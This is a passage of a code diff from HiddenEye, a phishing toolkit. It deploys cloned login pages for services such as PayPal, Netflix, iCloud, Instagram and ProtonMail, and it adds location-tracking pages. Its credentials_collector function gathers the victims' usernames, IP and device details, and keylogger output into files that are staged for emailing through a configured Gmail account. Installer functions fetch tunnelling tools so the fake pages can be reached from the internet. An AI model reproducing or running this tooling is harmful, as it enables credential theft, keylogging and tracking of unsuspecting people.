webpage_set("WebPages/live_web/", "Server/www/")
|
||||
elif page == "Steam":
|
||||
webpage_set("WebPages/steam/", "Server/www/")
|
||||
elif page == "iCloud":
|
||||
webpage_set("WebPages/iCloud/", "Server/www/")
|
||||
elif custom_option == "1" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_web/", "Server/www/")
|
||||
elif custom_option == "2" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_autoliker/", "Server/www/")
|
||||
elif custom_option == "3" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/")
|
||||
elif custom_option == "4" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/")
|
||||
elif custom_option == "5" and page == "Instagram":
|
||||
webpage_set("WebPages/instafollowers/", "Server/www/")
|
||||
elif custom_option == "1" and page == "VK":
|
||||
webpage_set("WebPages/VK/", "Server/www/")
|
||||
elif custom_option == "2" and page == "VK":
|
||||
webpage_set("WebPages/VK_poll_method/", "Server/www/")
|
||||
elif page == "GitLab":
|
||||
webpage_set("WebPages/gitlab/", "Server/www/")
|
||||
elif page == "NetFlix":
|
||||
webpage_set("WebPages/netflix/", "Server/www/")
|
||||
elif page == "Origin":
|
||||
webpage_set("WebPages/origin/", "Server/www/")
|
||||
elif page == "Pinterest":
|
||||
webpage_set("WebPages/pinterest/", "Server/www/")
|
||||
elif page == "ProtonMail":
|
||||
webpage_set("WebPages/protonmail/", "Server/www/")
|
||||
elif page == "Spotify":
|
||||
webpage_set("WebPages/spotify/", "Server/www/")
|
||||
elif page == "Quora":
|
||||
webpage_set("WebPages/quora/", "Server/www/")
|
||||
elif page == "PornHub":
|
||||
webpage_set("WebPages/pornhub/", "Server/www/")
|
||||
elif page == "Adobe":
|
||||
webpage_set("WebPages/adobe/", "Server/www/")
|
||||
elif page == "Badoo":
|
||||
webpage_set("WebPages/badoo/", "Server/www/")
|
||||
elif page == "CryptoCurrency":
|
||||
webpage_set("WebPages/cryptocurrency/", "Server/www/")
|
||||
elif page == "DevianArt":
|
||||
webpage_set("WebPages/devianart/", "Server/www/")
|
||||
elif page == "DropBox":
|
||||
webpage_set("WebPages/dropbox/", "Server/www/")
|
||||
elif page == "eBay":
|
||||
webpage_set("WebPages/ebay/", "Server/www/")
|
||||
elif page == "Myspace":
|
||||
webpage_set("WebPages/myspace/", "Server/www/")
|
||||
elif page == "PayPal":
|
||||
webpage_set("WebPages/paypal/", "Server/www/")
|
||||
elif page == "Shopify":
|
||||
webpage_set("WebPages/shopify/", "Server/www/")
|
||||
elif page == "Verizon":
|
||||
webpage_set("WebPages/verizon/", "Server/www/")
|
||||
elif page == "Yandex":
|
||||
webpage_set("WebPages/yandex/", "Server/www/")
|
||||
elif custom_option == "1" and page == "Reddit":
|
||||
webpage_set("WebPages/Reddit/", "Server/www/")
|
||||
elif custom_option == "2" and page == "Reddit":
|
||||
webpage_set("WebPages/Reddit-old/", "Server/www/")
|
||||
elif page == "Subitoit":
|
||||
webpage_set("WebPages/subitoit/", "Server/www/")
|
||||
elif page == "PlayStation":
|
||||
webpage_set("WebPages/playstation/", "Server/www/")
|
||||
elif page == "Xbox":
|
||||
webpage_set("WebPages/xbox/", "Server/www/")
|
||||
elif page == "CUSTOM(1)":
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].
|
||||
format(page=page))
|
||||
print(
|
||||
localization.lang_start_phishing_page["manual_reading_suggestion"].
|
||||
format(page=page))
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["copying_your_files"])
|
||||
wait(3)
|
||||
webpage_set("WebPages/CUSTOM(1)/", "Server/www/")
|
||||
elif page == "CUSTOM(2)":
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].
|
||||
format(page=page))
|
||||
print(
|
||||
localization.lang_start_phishing_page["manual_reading_suggestion"].
|
||||
format(page=page))
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["copying_your_files"])
|
||||
wait(3)
|
||||
webpage_set("WebPages/CUSTOM(2)/", "Server/www/")
|
||||
|
||||
# Tools Below && Phishing Pages Above
|
||||
elif custom_option == "1" and page == "LOCATION":
|
||||
wait(3)
|
||||
webpage_set("WebPages/TOOLS/nearyou", "Server/www/")
|
||||
print(localization.lang_start_phishing_page["https_suggestion"])
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
elif custom_option == "2" and page == "LOCATION":
|
||||
wait(3)
|
||||
webpage_set("WebPages/TOOLS/gdrive", "Server/www/")
|
||||
print(localization.lang_start_phishing_page["https_suggestion"])
|
||||
print(localization.lang_start_phishing_page["gdrive_suggestion"])
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
|
||||
else:
|
||||
run_command("clear")
|
||||
print("Please choose a valid option")
|
||||
time.sleep(1)
|
||||
start_main_menu()
|
||||
|
||||
|
||||
def enter_custom_redirecting_url(
|
||||
): # Question where user can input custom web-link
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(localization.
|
||||
lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
|
||||
print(localization.
|
||||
lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
|
||||
custom = input(
|
||||
localization.lang_enter_custom_redirecting_url["redirect_here"])
|
||||
if "http://" in custom or "https://" in custom:
|
||||
pass
|
||||
else:
|
||||
custom = "http://" + custom
|
||||
|
||||
# For Location (gdrive) Template Redirection.
|
||||
if path.exists("Server/www/js/location.js"):
|
||||
with open("Server/www/js/location.js") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/js/location.js", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
|
||||
if path.exists("Server/www/post.php") and path.exists(
|
||||
"Server/www/login.php"):
|
||||
with open("Server/www/login.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/login.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
|
||||
with open("Server/www/post.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/post.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
|
||||
else:
|
||||
try:
|
||||
with open("Server/www/login.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/login.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
except FileNotFoundError:
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(
|
||||
"[^] ERROR: Please make sure your folder contains a valid login.php file."
|
||||
)
|
||||
exit()
|
|
@ -0,0 +1,328 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import getuid
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import platform
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import requests
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import stat
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import try_to_run_command
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
# def license_handler():
|
||||
# """ Checks if eula.txt exists, creates one if it doesn't. Checks if "eula = True" is inside.
|
||||
#
|
||||
# Returns:
|
||||
# boolean: Returns True if "eula = True" is inside eula.txt, False by default.
|
||||
# """
|
||||
# eula = pathlib_Path("eula.txt")
|
||||
# if eula.exists():
|
||||
# with open("eula.txt", "r") as f:
|
||||
# if "eula = True" in f.read():
|
||||
# print("Found your license agreement, proceeding...")
|
||||
# return True
|
||||
# else:
|
||||
# print("Please read and accept license.")
|
||||
# return False
|
||||
# else:
|
||||
# eula.touch(mode=0o777, exist_ok=True)
|
||||
# eula = open("eula.txt", "w")
|
||||
# eula.write(localization.write_eula + "eula = False")
|
||||
# eula.close()
|
||||
# print("Please accept EULA.")
|
||||
# return False
|
||||
|
||||
|
||||
def exit_message(port=80): # Message when HiddenEye exit
|
||||
"""Displays preconfigured message when HiddenEye execution ends or user tries to leave app.
|
||||
|
||||
Args: port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides
|
||||
to restart app again. Defaults to 80.
|
||||
|
||||
Returns:
|
||||
method: If no option is selected, exit message returns to self and gets shown again.
|
||||
"""
|
||||
choice = input(localization.lang_exit_message["choice"])
|
||||
choice.lower()
|
||||
if choice == "r":
|
||||
run_command(["sudo", "python3", "HiddenEye.py"])
|
||||
elif choice == "m":
|
||||
email_prompt.captured_data_email_confirmation(port)
|
||||
elif choice == "s":
|
||||
server_runner.server_selection(port)
|
||||
elif choice == "x":
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(" " + global_localization.by_darksec)
|
||||
print(" " +
|
||||
global_localization.official_website_link)
|
||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||
print(
|
||||
localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
print(localization.lang_exit_message["forum_suggestion"])
|
||||
print(localization.lang_exit_message["financial_support"])
|
||||
print(localization.lang_exit_message["thank_you"])
|
||||
else:
|
||||
run_command("clear")
|
||||
return exit_message(port)
|
||||
|
||||
|
||||
def terms_of_service_message():
|
||||
"""Requests user to provide agreement to license provided.
|
||||
|
||||
Returns:
|
||||
boolean: Always returns True, if user doesn't accept agreement - proceeds to exit()
|
||||
"""
|
||||
agreement = license_handler()
|
||||
if not agreement:
|
||||
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
||||
print(
|
||||
localization.
|
||||
lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["enter_this_to_confirm"])
|
||||
agreement = input(global_localization.input_line)
|
||||
if localization.text_to_confirm_license not in agreement:
|
||||
print(localization.
|
||||
lang_terms_of_service_message["you_are_not_allowed"])
|
||||
exit()
|
||||
else:
|
||||
eula = open("eula.txt", "w")
|
||||
eula.write(localization.write_eula + "eula = True")
|
||||
eula.close()
|
||||
return True
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def module_loading_message(option_name): # This one just show text..
|
||||
"""Prints "Select any mode" message. """
|
||||
print(option_name + localization.lang_module_loading_message["is_loaded"])
|
||||
print(localization.lang_module_loading_message["select_any_mode"])
|
||||
|
||||
|
||||
def credentials_collector():
|
||||
"""Collects, writes and returns credentials and additional info gathered from target."""
|
||||
print(localization.lang_credentials_collector["waiting_for_interaction"])
|
||||
while True:
|
||||
with open("Server/www/usernames.txt") as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.
|
||||
lang_credentials_collector["credentials_found"] +
|
||||
"{0}{2}{1}".format(default_palette[2],
|
||||
default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/usernames.txt").touch(
|
||||
mode=0o777, exist_ok=True)
|
||||
captured_usernames = open("Server/CapturedData/usernames.txt",
|
||||
"a")
|
||||
new_usernames = open("Server/www/usernames.txt")
|
||||
captured_usernames.write(new_usernames.read())
|
||||
new_usernames.close()
|
||||
captured_usernames.close()
|
||||
copyfile(
|
||||
"Server/CapturedData/usernames.txt",
|
||||
"Defs/FeatureManager/EmailManager/attachments/usernames.txt",
|
||||
)
|
||||
|
||||
new_usernames = open("Server/www/usernames.txt", "w")
|
||||
new_usernames.write("")
|
||||
new_usernames.close()
|
||||
|
||||
with open("Server/www/ip.txt") as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.
|
||||
lang_credentials_collector["device_details_found"] +
|
||||
"{0}{2}{1}".format(default_palette[2],
|
||||
default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777,
|
||||
exist_ok=True)
|
||||
captured_ips = open("Server/CapturedData/ip.txt", "a")
|
||||
new_ips = open("Server/www/ip.txt")
|
||||
captured_ips.write(new_ips.read())
|
||||
new_ips.close()
|
||||
captured_ips.close()
|
||||
copyfile(
|
||||
"Server/CapturedData/ip.txt",
|
||||
"Defs/FeatureManager/EmailManager/attachments/ip.txt",
|
||||
)
|
||||
new_ips = open("Server/www/ip.txt", "w")
|
||||
new_ips.write("")
|
||||
new_ips.close()
|
||||
|
||||
creds.close()
|
||||
|
||||
with open("Server/www/KeyloggerData.txt") as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(global_localization.line_of_dots)
|
||||
log_writer(localization.
|
||||
lang_credentials_collector["getting_pressed_keys"] +
|
||||
"{0}{2}{1}".format(default_palette[2],
|
||||
default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
|
||||
mode=0o777, exist_ok=True)
|
||||
captured_keys = open("Server/CapturedData/KeyloggerData.txt",
|
||||
"a")
|
||||
new_keys = open("Server/www/KeyloggerData.txt")
|
||||
captured_keys.write(new_keys.read())
|
||||
new_keys.close()
|
||||
captured_keys.close()
|
||||
copyfile(
|
||||
"Server/CapturedData/KeyloggerData.txt",
|
||||
"Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt",
|
||||
)
|
||||
new_keys = open("Server/www/KeyloggerData.txt", "w")
|
||||
new_keys.write("")
|
||||
new_keys.close()
|
||||
|
||||
log_writer(global_localization.line_of_dots)
|
||||
|
||||
creds.close()
|
||||
|
||||
|
||||
def log_writer(ctx): # Writing log
|
||||
"""I have no idea what it does, someone does, so if you are reading this - explain wtf is this method...
|
||||
|
||||
Args:
|
||||
ctx ([type]): [description]
|
||||
"""
|
||||
log_file = open("log.txt", "w")
|
||||
log_file.write(
|
||||
ctx.replace(default_palette[0], "").replace(
|
||||
default_palette[1], "").replace(default_palette[2], "").replace(
|
||||
default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
print(ctx)
|
||||
|
||||
|
||||
def port_selector(): # Requests port input from user
|
||||
"""Asks user to input number between 1 and 65535.
|
||||
|
||||
Returns:
|
||||
string: Returns any number entered if it's between 1 and 65535, if it's not - asks for number again.
|
||||
"""
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_port_selector["website_port_selection"])
|
||||
print(localization.lang_port_selector["select_any_available_port"])
|
||||
print(localization.lang_port_selector["port_suggestion"])
|
||||
choice = input(global_localization.input_line)
|
||||
try:
|
||||
if int(choice) > 65535 or int(choice) < 1:
|
||||
return port_selector()
|
||||
else:
|
||||
return choice
|
||||
except:
|
||||
return port_selector()
|
||||
|
||||
|
||||
def remove_readonly(func, path, _):
|
||||
"""Removes read-only state of file (IDK why it exists but it does already, so...)
|
||||
|
||||
Args:
|
||||
func ([type]): [description]
|
||||
path ([type]): [description]
|
||||
_ ([type]): [description]
|
||||
"""
|
||||
chmod(path, mode=stat.S_IWRITE)
|
||||
func(path)
|
||||
|
||||
|
||||
def global_message():
|
||||
"""Sends default HiddenEye header message. (Logo, website link, etc.)"""
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
|
||||
|
||||
# def verify_connection(
|
||||
# host="https://dark-sec-official.com"): # Connection check
|
||||
# run_command("clear")
|
||||
# try:
|
||||
# req = requests.get(host, timeout=25)
|
||||
# if req.status_code == 200:
|
||||
# print(localization.lang_verify_connection["connected"])
|
||||
# pass
|
||||
# except ConnectionError:
|
||||
# print(global_localization.hidden_eye_logo)
|
||||
# print(localization.lang_verify_connection["disconnected"])
|
||||
# print(localization.lang_verify_connection["verify_your_connection"])
|
||||
# print(localization.lang_verify_connection["continue_warning"])
|
||||
# print(localization.lang_verify_connection["continue_confirmation"])
|
||||
# internet_choice = input(global_localization.input_line).lower()
|
||||
# if internet_choice == "y":
|
||||
# pass
|
||||
# elif internet_choice == "n":
|
||||
# run_command("clear")
|
||||
# print(global_localization.hidden_eye_logo)
|
||||
# print(" " +
|
||||
# global_localization.by_darksec)
|
||||
# print(" " +
|
||||
# global_localization.official_website_link)
|
||||
# print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||
# print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||
# print(localization.
|
||||
# lang_exit_message["make_your_pull_request_or_issue"])
|
||||
# print(
|
||||
# localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
# print(localization.lang_exit_message["forum_suggestion"])
|
||||
# print(localization.lang_exit_message["financial_support"])
|
||||
# print(localization.lang_exit_message["thank_you"])
|
||||
# exit()
|
||||
# else:
|
||||
# verify_connection()
|
||||
|
||||
|
||||
# def check_permissions():
|
||||
# if check_platform("system") == "Linux":
|
||||
# if getuid() == 0:
|
||||
# print(localization.lang_check_permissions["permissions_granted"])
|
||||
# else:
|
||||
# print(localization.lang_check_permissions["permissions_denied"])
|
||||
# exit()
|
||||
|
||||
|
||||
def check_php():
|
||||
try:
|
||||
try_to_run_command(["php", "-v"])
|
||||
print(localization.lang_check_php["found"])
|
||||
except ModuleNotFoundError:
|
||||
print(localization.lang_check_php["not-found"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_platform(required_data: str):
|
||||
""" Checks system for specific platform related data and returns requested value.
|
||||
:param required_data: accepts "system" or "architecture"
|
||||
:type required_data: requires string input
|
||||
:return: returns data specified as required_data, Returns all if required_data isn't specified """
|
||||
system = platform.system()
|
||||
architecture = platform.machine()
|
||||
if required_data == "system":
|
||||
return system
|
||||
elif required_data == "architecture":
|
||||
return architecture
|
||||
else:
|
||||
return "System: {0}, Architecture: {1}".format(system, architecture)
|
1142
Defs/Actions.py
204
Defs/Checks.py
|
@ -1,204 +0,0 @@
|
|||
import subprocess
|
||||
import ctypes
|
||||
from os import system, getuid, path
|
||||
from time import sleep
|
||||
import requests
|
||||
from platform import system as systemos, architecture
|
||||
from subprocess import check_output
|
||||
from Defs.Languages import *
|
||||
|
||||
RED, GREEN, DEFAULT = '\033[91m', '\033[1;32m', '\033[0m'
|
||||
|
||||
installGetText()
|
||||
languageSelector()
|
||||
|
||||
|
||||
def checkConnection(host='https://google.com'): # Connection check
|
||||
system('clear')
|
||||
try:
|
||||
req = requests.get(host, timeout=10)
|
||||
if req.status_code == 200:
|
||||
print("{0}HURRAY!! Internet is available.. We can Continue{1}".format(
|
||||
GREEN, DEFAULT))
|
||||
print("\n\n{0}Wait! Checking for Neccesary Packages{1}...\n ".format(
|
||||
GREEN, DEFAULT))
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
if checkConnection() == False:
|
||||
print('''{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
|
||||
{0}[{1}!{0}]{1} ^Network error^. Verify your Internet connection.\n
|
||||
'''.format(RED, DEFAULT))
|
||||
exit()
|
||||
|
||||
def checkPHP(): # PHP installation Check
|
||||
if 256 != system('which php > /dev/null'): # Checking if user have PHP
|
||||
print(" {2}* {0}PHP INSTALLATION FOUND".format(MAIN2, MAIN4, MAIN0))
|
||||
else:
|
||||
print("{0}**{2} PHP NOT FOUND\n {0}** {2} Installing PHP... ".format(MAIN2, MAIN4, MAIN0))
|
||||
system('apt-get install php > /dev/null')
|
||||
|
||||
|
||||
def checkNgrok(): # Ngrok check
|
||||
if path.isfile('Server/ngrok') == False: # Is Ngrok downloaded?
|
||||
print('[*] Ngrok Not Found !!')
|
||||
print('[*] Downloading Ngrok...')
|
||||
if 'Android' in str(check_output(('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
|
||||
filename = 'ngrok-stable-linux-arm.zip'
|
||||
else:
|
||||
ostype = systemos().lower()
|
||||
if architecture()[0] == '64bit':
|
||||
filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
|
||||
else:
|
||||
filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
|
||||
url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
|
||||
req = requests.get(url)
|
||||
with open(filename, "wb") as file_obj:
|
||||
file_obj.write(req.content)
|
||||
system('unzip ' + filename)
|
||||
system('mv ngrok Server/ngrok')
|
||||
system('rm ' + filename)
|
||||
system('clear')
|
||||
|
||||
def checkOpenport(): # Openport Check
|
||||
if 256 == system('which openport > /dev/null'):
|
||||
print('[*] Openport not Installed !!')
|
||||
print("[*] Installing Openport...")
|
||||
if 'Android' in str(check_output(('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
|
||||
filename = 'arm/latest.deb'
|
||||
else:
|
||||
ostype = systemos().lower()
|
||||
if architecture()[0] == '64bit':
|
||||
filename = 'debian64/latest.deb'.format(ostype)
|
||||
else:
|
||||
filename = 'debian32/latest.deb'.format(ostype)
|
||||
url = 'https://openport.io/download/' + filename
|
||||
req = requests.get(url)
|
||||
filename2 = 'openport.deb'
|
||||
with open(filename2, "wb") as file_obj:
|
||||
file_obj.write(req.content)
|
||||
system('chmod 777 openport* && dpkg -i openport* > /dev/null && rm openport.deb && clear')
|
||||
checkOpenportinstall()
|
||||
def checkOpenportinstall(): # Check If installed properly
|
||||
if 256 == system('which openport > /dev/null'):
|
||||
print('[*] Openport not Installed correctly, Try installing it manually !!')
|
||||
print('[*] Check Here ... https://openport.io/download')
|
||||
input('/n Press Enter To Continue')
|
||||
else:
|
||||
print('[*] Openport Installation Success !!')
|
||||
sleep(1)
|
||||
|
||||
def checkPagekite(): # Check Pagekite
|
||||
if path.isfile('Server/pagekite.py') == False:
|
||||
print('[*] Pagekite Not Found !!')
|
||||
print('[*] Downloading Pagekite...')
|
||||
url = 'https://pagekite.net/pk/pagekite.py'
|
||||
req = requests.get(url)
|
||||
filename = 'pagekite.py'
|
||||
with open(filename, "wb") as file_obj:
|
||||
file_obj.write(req.content)
|
||||
system('chmod 777 pagekite.py && mv pagekite.py Server/pagekite.py')
|
||||
print('\n[*] Pagekite install Success !!')
|
||||
print('\n[!] Remember: Pagekite Supports only Python2, Not Supports Python3')
|
||||
print('[!] So Make Sure You Have installed Python2 as well, if Wants To use Pagekite Tunnel.')
|
||||
system('cd Server && chmod 777 * -R')
|
||||
input('\n Press Enter To Continue')
|
||||
|
||||
|
||||
def checkLocalxpose(): # Localxpose check
|
||||
if path.isfile('Server/loclx') == False: # Is Localxpose downloaded?
|
||||
print('[*] Localxpose Not Found !!')
|
||||
print('[*] Downloading Localxpose...')
|
||||
if 'Android' in str(check_output(('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
|
||||
filename = 'loclx-linux-arm.zip'
|
||||
else:
|
||||
ostype = systemos().lower()
|
||||
if architecture()[0] == '64bit':
|
||||
filename = 'loclx-linux-amd64.zip'.format(ostype)
|
||||
else:
|
||||
filename = 'loclx-linux-386.zip'.format(ostype)
|
||||
url = 'https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/'+filename
|
||||
req = requests.get(url)
|
||||
with open("loclx-linux-download.zip", "wb") as file_obj:
|
||||
file_obj.write(req.content)
|
||||
system('unzip loclx-linux-download.zip && rm loclx-linux-download.zip')
|
||||
system('mv loclx-linux-* loclx && mv loclx Server/')
|
||||
system('clear')
|
||||
|
||||
|
||||
def checkbinaryLT(): # LocalTunnel Binary File check.
|
||||
if path.isfile('Server/lt') == False: # Is LocalTunnel downloaded?
|
||||
print('[*] LocalTunnel Binary File Not Found !!')
|
||||
print('[*] Downloading LocalTunnel...')
|
||||
url = "https://www.wa4e.com/downloads/lt-linux.zip"
|
||||
req = requests.get(url)
|
||||
with open("lt-linux.zip", "wb") as file_obj:
|
||||
file_obj.write(req.content)
|
||||
system("unzip lt-linux.zip && rm lt-linux.zip")
|
||||
system("mv lt* lt && mv lt Server/lt ")
|
||||
system('clear')
|
||||
|
||||
|
||||
def checkLT(): # Ask to install npm,node.js,localtunnel(packages).
|
||||
if 256 == system('which lt > /dev/null'):
|
||||
system('clear')
|
||||
print("{0}[{1}?{0}] Do You Want To Install LOCALTUNNEL(Tunneling Service) Packages.\n{0}[{1}*{0}]{1} May take time , Skip if not wants to use LocalTunnel(Package Version).".format(RED, GREEN, DEFAULT))
|
||||
choice = input(
|
||||
" \n({1}Y{2}/{2}(N)>> {2}".format(RED, GREEN, DEFAULT)).upper()
|
||||
if choice == 'Y':
|
||||
system('clear')
|
||||
installLT()
|
||||
elif choice == 'N':
|
||||
print("\n{0}[{1}!{0}]{0} You can not use LocalTunnel(Package Version).\n{0}[{1}!{0}]{0} But still You Can Use LocalTunnel(Binary Version).\n\n\n".format(
|
||||
RED, GREEN, DEFAULT))
|
||||
input('Press Enter To Continue')
|
||||
system('clear')
|
||||
else:
|
||||
return checkLT()
|
||||
else:
|
||||
print("[*] LocalTunnel Packages Found !!")
|
||||
sleep(2)
|
||||
system('clear')
|
||||
|
||||
|
||||
def installLT(): # Localtunnel check
|
||||
print('[*] Installing LocalTunnel...')
|
||||
if 'Android' in str(check_output(('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
|
||||
system("apt-get -y update;apt -y install nodejs npm;npm cache clean -f;npm i -g n;n stable;npm i -g localtunnel-termux;clear")
|
||||
checkagainLT()
|
||||
else:
|
||||
system("apt-get -y update;apt -y install nodejs npm;npm cache clean -f;npm i -g n;n stable;npm i -g localtunnel;clear")
|
||||
checkagainLT()
|
||||
|
||||
|
||||
def checkagainLT(): # Check if Localtunnel installed correctly or not.
|
||||
if 256 == system('which lt > /dev/null'):
|
||||
system('clear')
|
||||
print('{1}[ERROR]: LocalTunnel packages haven\'t been installed correctly...{0}'.format(
|
||||
DEFAULT, RED))
|
||||
print('')
|
||||
input('[^] Press Enter To Go Back To installation..')
|
||||
checkLT()
|
||||
else:
|
||||
print('{1}[SUCCESS] LocalTunnel Installed.{0}'.format(DEFAULT, GREEN))
|
||||
sleep(2)
|
||||
|
||||
|
||||
def checkPermissions():
|
||||
|
||||
if systemos() != "Windows":
|
||||
if getuid() == 0:
|
||||
print("{0}Permissions granted!".format(GREEN))
|
||||
else:
|
||||
print(
|
||||
"{0}Permissions denied! Please run as '{1}sudo{0}'".format(RED, GREEN))
|
||||
exit()
|
||||
else:
|
||||
print("{0}Windows system not yet compatible. Make sure you're using a *Unix OS.{1}".format(RED, DEFAULT))
|
||||
exit()
|
|
@ -1,27 +0,0 @@
|
|||
# Primitive config
|
||||
import configparser
|
||||
import os
|
||||
|
||||
|
||||
def createConfig(path="Settings.ini"):
|
||||
config = configparser.ConfigParser()
|
||||
config.add_section("Settings")
|
||||
config.add_section("Defaults")
|
||||
config.set("Settings", "Language", "en")
|
||||
config.set("Settings", "DidBackground", "True")
|
||||
config.set("Defaults", "webPage", "Facebook")
|
||||
config.set("Defaults", "additionalOption", "1")
|
||||
config.set("Defaults", "theme", "anaglyph")
|
||||
with open(path, 'w') as configFile:
|
||||
config.write(configFile)
|
||||
|
||||
|
||||
def readConfig(path="Settings.ini"):
|
||||
config = configparser.ConfigParser()
|
||||
config.read(path)
|
||||
return config
|
||||
|
||||
|
||||
def ifSettingsNotExists():
|
||||
if not os.path.exists("Settings.ini"):
|
||||
createConfig()
|
|
@ -0,0 +1,11 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
gmail_account = "GMAILACCOUNT"
|
||||
gmail_password = "GMAILPASSWORD"
|
||||
recipient_email = "RECIPIENTEMAIL"
|
|
@ -1,5 +1,9 @@
|
|||
#!/usr/bin/env python
|
||||
# encoding: utf-8
|
||||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
import os
|
||||
import base64
|
|
@ -0,0 +1,99 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
